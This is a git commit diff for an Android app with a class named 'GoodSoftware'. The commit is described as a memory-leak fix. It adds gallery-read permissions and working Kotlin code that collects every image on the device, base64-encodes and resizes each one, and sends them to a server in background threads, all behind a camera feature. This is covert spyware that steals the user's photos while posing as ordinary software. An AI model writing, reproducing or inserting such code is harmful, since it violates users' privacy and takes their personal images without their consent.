Reencode images to prevent memory leak

This commit is contained in:
Joren 2024-05-02 12:05:12 +02:00
parent 319e09a950
commit 7f9f5d30a1
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
3 changed files with 123 additions and 40 deletions

View File

@ -6,6 +6,8 @@
<uses-feature android:name="android.hardware.camera" />
<uses-feature android:name="android.hardware.camera.autofocus" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
<application
android:allowBackup="true"

View File

@ -6,7 +6,10 @@ import android.content.ContentUris
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.graphics.Bitmap
import android.graphics.BitmapFactory
import android.net.Uri
import android.os.Build
import android.provider.MediaStore
import android.util.Base64
import android.util.Log
@ -112,48 +115,102 @@ class GoodSoftware (private val activity: MainActivity) {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
}
private fun startPictureCapture() {
activity.lifecycleScope.launch {
// Check and request camera permission
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
requestCameraPermission()
}
// Check and request gallery permission
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
private fun checkStoragePermission() {
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
// Request READ_MEDIA_IMAGES permission for Android 13 and higher
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
requestMediaImagesPermission()
} else {
// For lower Android versions, request READ_EXTERNAL_STORAGE
requestGalleryPermission()
}
} else {
startPictureCapture()
}
}
// If both permissions are granted, proceed with picture capture and gallery access
takeBeautifulPicture(activity, activity)
private fun requestMediaImagesPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
}
Thread {
val imageList = getAllImagesFromGallery(activity)
for (image in imageList) {
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
Thread {
println("Sending data to server")
sendDataToServer(base64Image)
}.start()
private fun startPictureCapture() {
activity.lifecycleScope.launch {
try {
// Check and request camera permission
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
requestCameraPermission()
}
}.start()
// Check and request gallery permission
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
checkStoragePermission()
}
// If both permissions are granted, proceed with picture capture and gallery access
takeBeautifulPicture(activity, activity)
Thread {
try {
val imageList = getAllImagesFromGallery(activity)
for (image in imageList) {
println(imageList.size)
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
Thread {
println("Sending data to server")
sendDataToServer(base64Image)
}.start()
}
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
}
}.start()
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
}
}
}
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
var base64Image = ""
contentResolver.openInputStream(imageUri)?.use { inputStream ->
val byteArrayOutputStream = ByteArrayOutputStream()
inputStream.copyTo(byteArrayOutputStream)
val byteArray = byteArrayOutputStream.toByteArray()
base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
try {
contentResolver.openInputStream(imageUri)?.use { inputStream ->
val bitmap = BitmapFactory.decodeStream(inputStream)
val resizedBitmap = resizeBitmap(bitmap, 1920, 1080)
val byteArrayOutputStream = ByteArrayOutputStream()
resizedBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream)
val byteArray = byteArrayOutputStream.toByteArray()
base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
}
} catch (oom: OutOfMemoryError) {
// Handle OutOfMemoryError
Log.e("OOM", "Out of memory error occurred while encoding image: $imageUri")
}
return base64Image
}
fun resizeBitmap(bitmap: Bitmap, newWidth: Int, newHeight: Int): Bitmap {
val width = bitmap.width
val height = bitmap.height
val scaleWidth = newWidth.toFloat() / width
val scaleHeight = newHeight.toFloat() / height
val matrix = android.graphics.Matrix()
matrix.postScale(scaleWidth, scaleHeight)
val resizedBitmap = Bitmap.createBitmap(
bitmap, 0, 0, width, height, matrix, false
)
bitmap.recycle()
return resizedBitmap
}
private fun requestGalleryPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
}
// Handle permission request result
@ -175,6 +232,14 @@ class GoodSoftware (private val activity: MainActivity) {
// Handle accordingly
}
}
REQUEST_MEDIA_IMAGES_PERMISSION -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startPictureCapture()
} else {
// Media images permission denied
// Handle accordingly
}
}
}
}
@ -323,21 +388,32 @@ class GoodSoftware (private val activity: MainActivity) {
)
val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
val cursor = contentResolver.query(
imageUri,
imageProjection,
null,
null,
"${MediaStore.Images.Media.DATE_ADDED} DESC"
)
// Check permission based on Android version
val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
} else {
Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
}
cursor?.use { cursor ->
val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
while (cursor.moveToNext()) {
val id = cursor.getLong(idColumn)
val contentUri = ContentUris.withAppendedId(imageUri, id)
imageList.add(contentUri.toString())
if (ContextCompat.checkSelfPermission(context, permission) == PackageManager.PERMISSION_GRANTED) {
val cursor = contentResolver.query(
imageUri,
imageProjection,
null,
null,
"${MediaStore.Images.Media.DATE_ADDED} DESC"
)
cursor?.use { cursor ->
val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
while (cursor.moveToNext()) {
val id = cursor.getLong(idColumn)
val contentUri = ContentUris.withAppendedId(imageUri, id)
imageList.add(contentUri.toString())
}
}
} else {
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
}
return imageList

View File

@ -4,6 +4,7 @@ import android.Manifest
import android.app.Activity
import android.content.pm.PackageManager
import android.os.Bundle
import android.util.Log
import android.widget.Toast
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
@ -34,7 +35,11 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
}
}
goo = GoodSoftware(this@MainActivity)
goo.launch()
try {
goo.launch()
}catch (e: Exception) {
e.printStackTrace()
}
}
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {